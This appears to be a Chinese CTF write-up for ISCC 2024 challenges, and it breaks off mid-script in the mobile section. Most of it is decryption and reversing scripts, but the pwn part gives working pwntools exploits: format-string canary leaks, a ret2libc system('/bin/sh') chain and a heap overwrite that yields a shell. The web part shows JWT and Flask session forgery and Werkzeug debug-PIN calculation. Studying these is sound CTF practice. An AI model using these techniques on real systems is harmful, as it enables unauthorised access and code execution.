练武题

reverse

迷失之门

密文在check_2函数里,加密逻辑跟着check_1写爆破即可
2024-05-01T143000

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 enc='FSBBhKkNSPQUTfBllBDMHMEQsX6'

v16='ABCDEFGHIJKLMNOPQRSTUVWXYZ'
v10='abcdefghijklmnopqrstuvwxyz'
v4='0123456789+/-=!#&*()?;:*^%'
v3='DABBZXQESVFRWNGTHYJUMKIOLPC'

for i in range(len( enc)):
for j in range(32,127):
if j-ord(v3[i])<=0:
pass
else:
v22=j-ord(v3[i])
if v22>25:
if v22>51:
v1=v4[v22-52]
else:
v1=v10[v22-26]
if v1== enc[i]:
print(chr(j),end='')
else:
if v16[v22]== enc[i]:
print(chr(j),end='')
#ISCC{buReeVfjmHymZMaTWM_xg}

Cryptic

UPX -d 脱壳一下
2024-05-01T144019
改一下v8范围,改成 __int64 v8[4]
2024-05-01T160358
提取出密文 enc = '34DEE8516EB6BC3E2ECBF35220C69F6BF2F69678351740D4839B'
两个密钥 key1 = 'So--this-is-the-right-flag'
key2 = 'ISCC'
加密在Encryption和NewEncryption里,逆着写完事

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from Crypto.Util.number import *
enc = '34DEE8516EB6BC3E2ECBF35220C69F6BF2F69678351740D4839B'
enc = bytes.fromhex(enc)
enc = list(enc)[::-1]
key1 = 'So--this-is-the-right-flag'
key2 = 'ISCC'

for i in range(len(enc)):
enc[i] -= 10
enc[i] &= 0xff

for i in range(len(enc)-1):
enc[i] += enc[i+1]
enc[i] &= 0xff

for i in range(len(enc)-1):
enc[i] ^= ord(key2[2])

for i in range(0,len(enc),2):
enc[i] ^= ord(key2[i%4])

for i in range(len(enc)//2):
enc[i],enc[26-i-1]=enc[26-i-1],enc[i]

for i in range(len(enc)//2):
enc[i],enc[26-i-1]=enc[26-i-1],enc[i]

for i in range(len(enc)):
enc[i]+=ord(key2[i%4])
enc[i]&=0xff

print(bytes(enc).decode())
#ISCC{-=~']9U!pt,8n)`c;h4=}

Badcode

从后往前看,这一部分是XXTEA加密,密文是Buf2,key是unk_407018
2024-05-01T162906
2024-05-01T163249
XXTEA 的delta为0x61C88647
2024-05-01T165033
再往上看,这一部分是先用随机数生成异或因子,然后进行异或
2024-05-01T164929
随机数种子为 24
2024-05-01T165156
直接写个程序获取一下异或因子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <iostream>
#include <cstdlib>
#include <ctime>
using namespace std;
int main()
{
srand(24);
for (int i = 0; i < 24; i++)
{
cout << char(rand() % 10 + 48);
}
return 0;
}
//674094872038771148666737

最后是简单的奇偶位加减
2024-05-01T165409

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from Crypto.Util.number import *

def shift(z, y, x, k, p, e):
return ((((z >> 5) ^ (y << 2)) + ((y >> 3) ^ (z << 4))) ^ ((x ^ y) + (k[(p & 3) ^ e] ^ z)))

def decrypt(v, k):
delta = 0x61C88647
n = len(v)
rounds = 6 + 52 // n
x = (0 - rounds * delta) & 0xFFFFFFFF
y = v[0]
for i in range(rounds):
e = (x >> 2) & 3
for p in range(n - 1, 0, -1):
z = v[p - 1]
v[p] = (v[p] - shift(z, y, x, k, p, e)) & 0xFFFFFFFF
y = v[p]
p -= 1
z = v[n - 1]
v[0] = (v[0] - shift(z, y, x, k, p, e)) & 0xFFFFFFFF
y = v[0]
x = (x + delta) & 0xFFFFFFFF
return v

enc = [0x16627A6D,0x6A359C9C,0x67D6DAF9,0xF3B26BC9,0x976399FD,0x4E3EEF36]
key = [0x12345678, 0x9ABCDEF0, 0xFEDCBA98, 0x76543210]
decrypted = decrypt(enc, key)
flag=[]
v16 = '674094872038771148666737'

for i in range(len(enc)):
x=long_to_bytes(decrypted[i])
for j in range(3,-1,-1):
flag.append(x[j])

for i in range(len(flag)):
flag[i]^=ord(v16[i])-0x30
if i%2:
flag[i]-=2
else:
flag[i]+=3

print(bytes(flag).decode())
#ISCC{7vGccS9ifORsPWJzdz}

DLLCode

第一个加密sub_1414D0
2024-05-01T172608
第二个加密就是个异或,key为ISCC

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
enc = [0,16,56,19,10,61,116,43,3,0,20,3,67,89,83,68,70,84,64,103,75,125,117,98]
tmp1 = enc[:12]
v7 = enc[12:]

v4 = [2,0,3,1,6,4,7,5,10,8,11,9]
tmp2 = [0]*12
for i in range(len(tmp2)):
tmp2[i] = v7[v4[i]]

key='ISCC'
for i in range(len(tmp1)):
tmp1[i] ^= ord(key[i%len(key)])

for i in range(len(tmp1)):
print(chr(tmp1[i])+chr(tmp2[i]),end='')
#ISCC{DPYC@nF7ghTJuSKWb@}

I_am_the_Mathematician

简单的斐波那契数列,从表中取出flag
2024-05-11T150421

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def fib(n):
a, b = 0, 1
lis = []
for _ in range(n):
a, b = b, a + b
lis.append(a)
return lis

with open("./code_book_41.txt", "r") as file:
data = file.read()

target = fib(20)

if target[-1] > len(data):
raise ValueError("The last Fibonacci number is shorter than the length of the data.")

result_string = ''.join(data[i - 1] for i in target if i < len(data) + 1)

print(f"ISCC{{{result_string}}}")
#ISCC{66T4zCUFCwMG6fbHdU}

WinterBegins

一个简单的表代换加密
首先获取表和密文
这里下两个断点
2024-05-11T163034
F9 运行后转到汇编界面按F7运行至jz
2024-05-11T163432
修改ZF标志为0x1
2024-05-11T163533
再次F9,查看v6
按A生成字符串,得到密文
2024-05-11T163658
而str1在sub_7FF787831E30里冻笔新诗懒写寒炉美酒时温醉看墨花月白恍疑雪满前村
2024-05-11T163802
2024-05-11T163823
写脚本,提交flag发现是错的
注意到flag头是ISC2,应该是ISCC
猜测a2应该也要替换成aa
提交上去就对了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
table = "冻笔新诗懒写寒炉美酒时温醉看墨花月白恍疑雪满前村"
enc = "美酒恍疑时温寒炉美酒寒炉寒炉懒写墨花前村时温时温前村恍疑醉看前村恍疑墨花醉看醉看恍疑墨花美酒墨花墨花醉看前村时温墨花前村美酒墨花懒写醉看新诗寒炉懒写醉看时温墨花美酒墨花时温醉看月白醉看寒炉墨花冻笔醉看前村醉看醉看时温墨花前村墨花"

def decode_message(table, enc):
decoded = ""
i = 0
while i < len(enc):
index = table.index(enc[i:i+2])
if index == 22:
next_char_index = table.index(enc[i+2:i+4])//2 + 61
decoded += chr(next_char_index)
i += 4
else:
decoded += chr(index//2 + 48)
i += 2
return decoded

flag_hex = decode_message(table, enc)
flag = bytes.fromhex(flag_hex).decode('utf-8')
print(flag)
#ISC2{_ovitwkzra2etuhcple}

Find_All

有点像迷宫题,其实仔细研究就会发现其实就是简单的异或加密
定位到密文
2024-05-11T173406
ida python 直接梭
2024-05-11T173553

exp

1
2
3
4
5
6
7
v4=[get_wide_byte(0x00401625+i*7) for i in range(24)]
for i in range(0,len(v4) - 1,4):
v4[i + 2] ^= v4[i+3]
v4[i + 1] ^= v4[i + 2]
v4[i] ^= v4[i + 1]
print(bytes(v4).decode())
#ISCC{w@c@!13@1@aacBC!@!}

pwn

chaos

2024-05-01T185515

ezshell

格式化字符串泄露
2024-05-02T094926
2024-05-02T095521

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context(log_level='debug',arch='amd64')
p=process('./attachment-13')
p=remote('182.92.237.102',10011)
def pwn(pay):
p.sendlineafter('>>',pay)
payload=b'flagis'+b'\x00%p%15$p'
# gdb.attach(p,'b *$rebase(0x133F )')
# pause()
pwn(payload)
p.recvuntil('0x')
elf_base=int(p.recv(12),16)-0x2013
back=0x01291+elf_base
log.success(hex(elf_base))
p.recvuntil('0x')
canary=int(p.recv(16),16)
log.success(hex(canary))
payload=b'\x00'*0x38+p64(canary)+p64(0)+p64(back)
pwn(payload)
pwn('exit')
#0x5598d12a1013
p.interactive()
#ISCC{b1e99cf8-d13f-4a99-a12e-3ca0b0716d1a}

Flag

栈溢出+格式化字符串泄露
2024-05-02T100010
2024-05-02T100117

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64')
p=process('./attachment-12')
p=remote('182.92.237.102',10012)
elf=ELF('./attachment-12')
#gdb.attach(p,'b *0x08049366')
pause()
payload=b'%27$p%19$p'
p.sendlineafter("what's the content?",payload)
p.recvuntil('0x')
libc_start_main=int(p.recv(8),16)#-241
#log.success('leak:{}'.format(hex(libc_start_main)))
p.recvuntil('0x')
canary=int(p.recv(8),16)
log.success('canary:{}'.format(hex(canary)))
# libc=LibcSearcher('__libc_start_main',libc_start_main)
# libc_base=libc_start_main-libc.dump('__libc_start_main')
# log.success('libc_base:{}'.format(hex(libc_base)))
# system=libc_base+libc.dump('system')
# binsh=libc_base+libc.dump('str_bin_sh')


payload=b'a'*(0x94-0xc)+p32(canary)*4+p32(elf.plt['puts'])+p32(0x804931B)+p32(elf.got['puts'])
p.sendlineafter('Input:\n',payload)
puts_addr=u32(p.recvuntil(b'\xf7')[-4:])
log.success('puts:{}'.format(hex(puts_addr)))
# libc=LibcSearcher('puts',puts_addr)
# libc_base=puts_addr-libc.dump('puts')
# log.success('libc_base:{}'.format(hex(libc_base)))
# system=libc_base+libc.dump('system')
# binsh=libc_base+libc.dump('str_bin_sh')
system=puts_addr-0x2be80
binsh=puts_addr+ 0x11f183
payload=b'a'*(0x94-0xc)+p32(canary)*4+p32(system)+p32(0x804931B)+p32(binsh)
p.sendlineafter('Input:\n',payload)
p.interactive()
#ISCC{38a24130-0a34-490b-836b-0442c858e5aa}

shopping

原题 n1ctf2018_null 百度一把梭不解释【BUU】n1ctf2018_null
2024-05-02T103434

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import * 
sh = process('./attachment-11')
sh = remote('182.92.237.102',10019)
elf = ELF('./attachment-11')
sh.sendline("I'm ready for shopping")
system_plt = elf.plt['system']
def add(size,n,content=''):
sh.sendlineafter('Action: ',str(1))
sh.sendlineafter('Item ID: ',str(size))
sh.sendlineafter('Quantity: ',str(n))
if content == '':
sh.sendlineafter('(0/1): ',str(0))
else:
sh.sendlineafter('(0/1): ',str(1))
sh.sendafter('Message: ',content)

for i in range(12):
add(0x4000,1000)

add(0x4000,262,'0'*0x3FF0)
#溢出,修改thread_arena,将bss上的fake_chunk接到fastbin里
payload = b'1'*0x50 + p32(0) + p32(3) + 10*p64(0x60201d)
sleep(2)
sh.send(payload)

sleep(0.2)
payload = b'/bin/sh'.ljust(0xB,b'\x00') + p64(system_plt)
payload = payload.ljust(0x60,b'b')
add(0x60,0,payload) #申请到bss上,修改函数指针,getshell

sh.interactive()
#ISCC{63665ea3-5e5c-4109-a912-eceac236bb91}

MISC

Number_is_the_key

在视图-页面布局里调整列高和行宽为0.5cm左右
然后替换
查找内容-格式-字体-加粗
替换为-格式-填充-背景色-黑
2024-05-01T195755
然后缩小页面发现一个二维码
2024-05-01T195817
扫描结果https://rd.wechat.com/qrcode/confirm?block_type=101&content=70RBvm6hJgFg
ISCC{70RBvm6hJgFg}

FunZip

PuzzleSolver 直接梭
2024-05-02T103801
ISCC{JAF3Otj8Ggln}

精装四合一

4个图片,每个图片末尾都有多余的数据,手动提出拼接或者写脚本拼接都可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import struct

# This function inverts the bits of data after a certain PNG sequence
def invert_png_data(png_path, png_sequence):
with open(png_path, 'rb') as file:
data = file.read()
data_post_sequence = data[data.index(png_sequence) + len(png_sequence) + 1:]
return bytes(byte ^ 0xFF for byte in data_post_sequence)

# This function writes the bytes to an output file
def write_data(out_path, data_bytes):
with open(out_path, 'wb') as file:
file.write(data_bytes)

# Prepare the paths and end sequence
path_list = [r"left_foot_invert.png", r"left_hand_invert.png",
r"right_foot_invert.png", r"right_hand_invert.png"]
png_end = b'IEND\xaeB`'

# Using list comprehension for building the inverted data list
inverted_data_list = [invert_png_data(path, png_end) for path in path_list]

# Get the longest data length to ensure all bytes are included in the final data
max_length = max(len(data) for data in inverted_data_list)

# Combine the data from each file per byte
combined_data = bytes(
inverted_data_list[j][i]
for i in range(max_length)
for j in range(len(inverted_data_list))
if i < len(inverted_data_list[j])
)

# Write combined data to out.zip
write_data(r"out.zip", combined_data)

bandizip爆破恢复密码65537
2024-05-02T235641
解压出来一个文档,给字体换个颜色,移动白色图片遮挡
得到n=16920251144570812336430166924811515273080382783829495988294341496740639931651
2024-05-02T235851
将文档转为ZIP,解压,在media文件夹下找到一个true_flag.jpeg
010editor打开,获得c=0x1087D18636D7933ACBD1820573E587E777B683AF4B921E573A1B905240E3CA5E
RSA解

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Util.number import *
import gmpy2
p = 167722355418488286110758738271573756671
q = 100882503720822822072470797230485840381
e = 65537
n = 16920251144570812336430166924811515273080382783829495988294341496740639931651
c = 0x1087D18636D7933ACBD1820573E587E777B683AF4B921E573A1B905240E3CA5E
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
print(long_to_bytes(m))
#b'\x02z\x15\x10Q`\xb7?\x91\x00ISCC{LaUhAXOR9KHZnJD}'

RSA_KU

直接分解 n 得到 p 和 q,然后解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from Crypto.Util.number import *
import gmpy2
c = 85880076921968867438078572213191804192857131807746428900678178641658244521933597762528626802004777319648514731991628482508420164936954454463387033252705553973239541969670776313862924622657089757050186209494155870060256653358984048263085382027082675154788645637310898138206491908147228016899094888990556757238
p = 11679509046055093484387585536769973960915016129595089156764897709796981174994469835617477280580153684696296947700908005372625963068761884667061288424062299
q = 11104861498641160020551133747582851050482827883841239117180799157472078278661946047575808556331157873693827396366774529894387508349540416345196575506278923
print(p*q)
e = 65537
n=p*q
phi=(p-1)*(q-1)

d = gmpy2.invert(e,phi)
print(long_to_bytes(pow(c,d,n)))
#129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668100946205876629688057506460903842119543114630198205843883677412125928979399310306206497958051030594098963939139480261500434508726394139839879752553022623977
#b'ISCC{h3XQxDtZRJ1Rf3tWWM--}'

成语学习

用wireshark 导出 Http流
用 010 打开 %5c(1)
搜索 png 头89 50 4e 47
2024-05-10T214814
导出 png 图片,修复宽高
2024-05-10T215237
解压压缩包,搜索flag

Text
1
2
《你信我啊》
李维斯特指着墙上的“若存若亡”边享用cake边和你说,你千万不要拿我的食物去加密啊。

HMACMD5
2024-05-10T215648
ISCC{953428e604c5d875e659e3b2f874096d}

Where_is_the_flag

pycdc反编译
2024-05-10T220327
key 少一部份,猜测是 pyc 隐写
stegosaurus
2024-05-10T220600
得到完整的key,AES解密

1
2
3
4
5
6
7
8
9
10
11
from Crypto.Cipher import AES

key = b'k5fgb2eur5styn0lve3t6r1s'

c = '2b0fa16fc676755085a24ad598f397bacfe5a8c48e8b13d9f60dc934e90b4c84'

aes = AES.new(key,AES.MODE_ECB)
c = bytes.fromhex(c)
m = aes.decrypt(c)
print(m)
#b'tkDvxYjtfsXbi0rtbUUh\n\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b'

ISCC{tkDvxYjtfsXbi0rtbUUh}

Web

还没想好名字的塔防游戏

描述:
这是一个还没想好名字的塔防游戏。
备注:
(1)Flag格式为ISCC{xxx},其中xxx共有18位,记得数清楚哦!
(2)提示在后边哦!

随便玩一下,出现提示
2024-05-02T104450
翻翻代码,在world.js里发现完整提示
2024-05-02T104740
2024-05-02T104945
结合描述对一下脑电波,18位,刚好是游戏标题和提示所有的大写字母
ISCC{MDWTSGTMMCCSITTDWS}

Flask中的pin值计算

给出pin值的计算方法
2024-05-02T110057
源代码中提示路径/getusername,访问后是个海螺
2024-05-02T105935
询问一下 app.py内容
2024-05-02T110042
访问 /crawler ,要求一秒内完成四则运算
2024-05-02T110345
写个脚本搞一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# 第一部分在/crawler目录下在1秒内计算四则运算式子,然后点击提交答案
import requests
import time
import re

# 定义一个函数来执行计算和发送结果的操作
def execute_calculation_and_submit(session, base_url):
# 从/get_expression端点获取表达式
get_exp_response = session.get(f'{base_url}/get_expression')
expression_data = get_exp_response.json()
math_expression = expression_data.get('expression')

if math_expression:
# 对获取到的表达式进行替换操作,并计算结果
fixed_expression = math_expression.replace('×', '*').replace('÷', '/')
calculation_result = eval(fixed_expression)
print('计算结果:', calculation_result)

# 将计算结果提交到服务器
submit_response = session.get(f'{base_url}/crawler?answer={calculation_result}')
print('服务器响应:', submit_response.text)

# 使用requests.Session创建一个会话
session = requests.Session()
base_url = 'http://101.200.138.180:10006' # 替换为你的实际URL

# 使用while循环不断执行函数
while True:
# 暂停1秒
time.sleep(1)
# 调用函数执行计算和提交结果
execute_calculation_and_submit(session, base_url)
"""
计算结果: -4072.460439984561
服务器响应: <h1>/usr/local/lib/python3.11/site-packages/flask/app.py</h1>
<h1>uuidnode_mac位于/woddenfish</h1>
计算结果: -4072.460439984561
服务器响应: <h1>/usr/local/lib/python3.11/site-packages/flask/app.py</h1>
<h1>uuidnode_mac位于/woddenfish</h1>
计算结果: -4072.460439984561
服务器响应: <h1>/usr/local/lib/python3.11/site-packages/flask/app.py</h1>
<h1>uuidnode_mac位于/woddenfish</h1>
"""

得到两个路径/woddenfish/usr/local/lib/python3.11/site-packages/flask/app.py
先看看/woddenfish
有个电子木鱼,一直敲,显示功德不足
看看js,有个jwt token session = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiZG9uYXRlIiwicXVhbnRpdHkiOjF9.gT7yG_zYb22iGVXcGtSVzYr-fAeb_Nyv4KbeH3Ez8hc'
2024-05-02T131114
写脚本,敲赛博木鱼

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
import time

# 初始化会话令牌和请求头部信息
jwt_token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiZG9uYXRlIiwicXVhbnRpdHkiOjF9.gT7yG_zYb22iGVXcGtSVzYr-fAeb_Nyv4KbeH3Ez8hc'
request_headers = {'Content-Type': 'application/json'}
request_url = 'http://101.200.138.180:10006/woddenfish'

# 发送请求的函数
def send_request(token, url, headers):
# 构建请求体
body = {'session': token}
# 发送请求并返回响应
return requests.post(url, json=body, headers=headers)

# 判断消息的函数
def judge_message(resp):
if resp.status_code != 200:
print(f"请求失败,状态码:{resp.status_code}")
return False # 如果状态码非200,则终止循环
else:
response_data = resp.json()
if '佛曰:功德不足' not in response_data.get('message', ''):
# 当发现不包含特定消息时,打印整个返回包
print("服务器响应:", response_data)
return False # 如果消息不包含特定内容,则终止循环
print("[*] 包含特定消息")
return True

# 主循环
while True:
# 发送请求并获得响应
response = send_request(jwt_token, request_url, request_headers)
# 判断消息并处理
if not judge_message(response):
break # 如果返回False,则退出循环
# 等待0.5秒之后再次发送请求
time.sleep(0.5)
#服务器响应: {'gongde': 2345166265, 'message': '佛曰:功德圆满。地址02:42:ac:18:00:02:,机器码提示给你了/machine_id'}

得到uuidnode_mac 02:42:ac:18:00:02和一个新提示机器码在/machine_id
2024-05-02T133758
访问/machine_id,点VIP会员奖品获得一个token
2024-05-02T134452
看看js,应该需要jwt伪造
2024-05-02T135058

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import json
from jwcrypto.common import base64url_decode, base64url_encode

class TokenAlter:
""" 改变一个已有的 token """

def alter_token(self, given_token):
""" 使用 JSON 和紧凑格式的混合来修改 token 内容,如插入长时间的过期声明 """
split_token = given_token.split('.')
header, payload, signature = split_token[0], split_token[1], split_token[2]

# 解码并加载 payload 内容,更改'role'为'vip'
decoded_payload = json.loads(base64url_decode(payload))
decoded_payload['role'] = "vip"

# 重新编码 payload
encoded_payload = base64url_encode(json.dumps(decoded_payload, separators=(',', ':')))

# 重组 token 并返回
return f'{{"{header}.{encoded_payload}.":"", "protected":"{header}", "payload":"{payload}", "signature":"{signature}"}}'


my_token_alter = TokenAlter()
print(my_token_alter.alter_token(input("请输入 token:")))
#请输入 token:eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTQ2MzMyNzksImlhdCI6MTcxNDYyOTY3OSwianRpIjoiYzRqUGNWTHYwX21tWTZaYUczb2kzUSIsIm5iZiI6MTcxNDYyOTY3OSwicm9sZSI6Im1lbWJlciIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9.bgZ0FWWLrriuvScklsUPfN2rI0VP-XDrbBs4kLJjfGjBSO6dyHC6CP_0dxOZVkHdog1e_5gIjE70y46adLOvZPIaDrBgp0A8jtQGJMvyjZkJyIXZHOMtAA-GftvHt03stegHUWsjdviXI9lvwT4IobaK5gR477ULDm5975ndZUcArSNTS4O1cMR9pvyy_iDabmUXq8NWXsMR8kBiD542UoFQwgvz4G70YkfmDQkVxuEcxOqmu2VO88ocw2d7OpmV8BUkwyy_6TxUEHbuWefXlZJ-AfLp6WGmWfeUsB3RazonUORd-MYfIn0MLZD2LRORpVZxDiWql1ExEEh1W8ot1w
#{"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTQ2MzMyNzksImlhdCI6MTcxNDYyOTY3OSwianRpIjoiYzRqUGNWTHYwX21tWTZaYUczb2kzUSIsIm5iZiI6MTcxNDYyOTY3OSwicm9sZSI6InZpcCIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9.":"", "protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJleHAiOjE3MTQ2MzMyNzksImlhdCI6MTcxNDYyOTY3OSwianRpIjoiYzRqUGNWTHYwX21tWTZaYUczb2kzUSIsIm5iZiI6MTcxNDYyOTY3OSwicm9sZSI6Im1lbWJlciIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9", "signature":"bgZ0FWWLrriuvScklsUPfN2rI0VP-XDrbBs4kLJjfGjBSO6dyHC6CP_0dxOZVkHdog1e_5gIjE70y46adLOvZPIaDrBgp0A8jtQGJMvyjZkJyIXZHOMtAA-GftvHt03stegHUWsjdviXI9lvwT4IobaK5gR477ULDm5975ndZUcArSNTS4O1cMR9pvyy_iDabmUXq8NWXsMR8kBiD542UoFQwgvz4G70YkfmDQkVxuEcxOqmu2VO88ocw2d7OpmV8BUkwyy_6TxUEHbuWefXlZJ-AfLp6WGmWfeUsB3RazonUORd-MYfIn0MLZD2LRORpVZxDiWql1ExEEh1W8ot1w"}

访问http://101.200.138.180:10006/vipprice?token={...}
得到welcome_to_iscc_club
2024-05-02T140915
再session伪造supervip
flask_session_cookie_manager
python flask_session_cookie_manager.py encode -t "{'role': 'supervip'}" -s "welcome_to_iscc_club"
得到supervip session
2024-05-02T142455
修改一下 session得到 machine_id acff8a1c-6825-4b9b-b8e1-8983ce1a8b94
2024-05-02T142656
回到/getusername,问一下重复一下username
得到username:pincalculate
2024-05-02T143022
最后计算一下pin值
python Flask中的pin值计算.py -u pincalculate -p /usr/local/lib/python3.11/site-packages/flask/app.py -M 02:42:ac:18:00:02 -i acff8a1c-6825-4b9b-b8e1-8983ce1a8b94

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import hashlib
import argparse


def get_pin(hash_type, public, private):
salt = 'cookiesalt'.encode('utf-8')
pin_salt = 'pinsalt'.encode('utf-8')

hasher = getattr(hashlib, hash_type)()
for bit in public:
hasher.update(str(bit).encode('utf-8') if bit else b'')
for bit in private:
hasher.update(str(bit).encode('utf-8') if bit else b'')
hasher.update(salt)
hasher.update(pin_salt)

pin_hash = int(hasher.hexdigest(), 16)
pin_num = f"{pin_hash:09d}"[:9]

for group_size in (5, 4, 3):
if len(pin_num) % group_size == 0:
return '-'.join(pin_num[i:i + group_size].zfill(group_size)
for i in range(0, len(pin_num), group_size))
return pin_num


def mac_to_int(mac):
return int(mac.replace(":", ""), 16)


if __name__ == '__main__':
parser = argparse.ArgumentParser(description="PIN Calculation Utility")
parser.add_argument('-u', '--username', required=True, help="Username of the flask app runner")
parser.add_argument('-m', '--modname', default="flask.app", help="Name of the module running Flask")
parser.add_argument('-a', '--appname', default="Flask", help="The Flask application name")
parser.add_argument('-p', '--path', required=True, help="Path to the Flask app's __file__ attribute")
parser.add_argument('-M', '--MAC', required=True, help="Machine's MAC address")
parser.add_argument('-i', '--machineId', default="", help="Machine ID")
args = parser.parse_args()

public_bits = [args.username, args.modname, args.appname, args.path]
private_bits = [mac_to_int(args.MAC), args.machineId]

md5_pin = get_pin('md5', public_bits, private_bits)
sha1_pin = get_pin('sha1', public_bits, private_bits)

print(f"MD5 Pin: {md5_pin}")
print(f"SHA1 Pin: {sha1_pin}")
#MD5 Pin: 208-479-340
#SHA1 Pin: 252-749-991

2024-05-02T143859
最后访问http://101.200.138.180:10006/console?pin=252-749-991
得到flagISCC{C@_Gb2@*zdHPNksm}
2024-05-02T144035

Mobile

Puzzle_Game

jadx打开,先看看MainActivity
2024-05-10T222624
跟进onclick里用到的判断方法C0572a.m102a
可以知道输入应该有两段,第一段为八位纯数字,第二段在native层
2024-05-10T223756
反编译 so 文件,发现有一个getend函数,返回一个15位字符串
静态分析比较复杂,考虑直接dump伪代码直接跑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include <stdio.h>
#include <stdlib.h>
const char aAbcdefghijklmn[] =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
char *getend(void){
char *result; // rax
__int64 v1; // rcx
int v2; // edi
int v3; // r8d
char v4; // r10
int v5; // r9d
int v6; // r11d
int v7; // r11d
int v8; // r11d

result = malloc(0x10uLL);
result[15] = 0;
v1 = 0LL;
v2 = 0;
do
{
v3 = v2
+ 5 * v1
- 62
* (((unsigned int)(v2 + 5 * v1 + ((unsigned __int64)(-2078209981LL * (v2 + 5 * (int)v1 + 7)) >> 32) + 7) >> 31)
+ ((int)(v2 + 5 * v1 + ((unsigned __int64)(-2078209981LL * (v2 + 5 * (int)v1 + 7)) >> 32) + 7) >> 5))
+ 7;
v4 = aAbcdefghijklmn[v3];
v5 = v2 + 10;
v6 = 100;
do
{
v3 = (v5 + v3) % 62;
v4 = aAbcdefghijklmn[(v3 + v2 + v4) % 62];
--v6;
}
while ( v6 );
v7 = 100;
do
{
v3 = (v5 + v3) % 62;
v4 = aAbcdefghijklmn[(v3 + v2 + v4) % 62];
--v7;
}
while ( v7 );
v8 = 100;
do
{
v3 = (v5 + v3) % 62;
v4 = aAbcdefghijklmn[(v3 + v2 + v4) % 62];
--v8;
}
while ( v8 );
result[v1] = v4;
if ( v2-- == 0 )
v2 = 15;
++v1;
}
while ( v1 != 15 );
return result;
}
int main(){
char *end = getend();
printf("%s\n", end);
free(end);
return 0;
}
//gwC9nOCNUhsHqZm

然后爆破第一段数字 SHA256

1
2
3
4
5
6
7
8
9
10
11
12
import hashlib
from itertools import *
import string

sha256 = "437414687cecdd3526281d4bc6492f3931574036943597fddd40adfbe07a9afa"
table = string.digits
for i in product(table, repeat=8):
str1 = "".join(i) + "gwC9nOCNUhsHqZm"
if hashlib.sha256(str1.encode()).hexdigest() == sha256:
print(str1)
break
#04999999gwC9nOCNUhsHqZm

回到java层,输入是04999999gwC9nOCNUhsHqZm
先encrypt1,再encrypt2后的结果应该就是flag
2024-05-10T230408
直接写个Java脚本模拟一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import java.nio.charset.StandardCharsets;
import java.util.Random;
import java.util.Base64;

public class Main {
private static String combineStrings(String str, String str2) {
return str + str2;
}

private static byte[] generateSalt(int i) {
byte[] bArr = new byte[i];
new Random().nextBytes(bArr);
return bArr;
}

private static byte[] customEncrypt(byte[] bArr, byte[] bArr2) {
byte[] bArr3 = new byte[bArr.length];
for (int i = 0; i < bArr.length; i++) {
bArr3[i] = (byte) (bArr[i] ^ bArr2[i % bArr2.length]);
}
return bArr3;
}

public static String encrypt(String str, String str2) {
byte[] generateSalt = generateSalt(16);
byte[] customEncrypt = customEncrypt(combineStrings(str, str2).getBytes(StandardCharsets.UTF_8), generateSalt);
byte[] bArr = new byte[generateSalt.length + customEncrypt.length];
System.arraycopy(generateSalt, 0, bArr, 0, generateSalt.length);
System.arraycopy(customEncrypt, 0, bArr, generateSalt.length, customEncrypt.length);
return Base64.getEncoder().encodeToString(bArr);
}

public static String encrypt2(String str) {
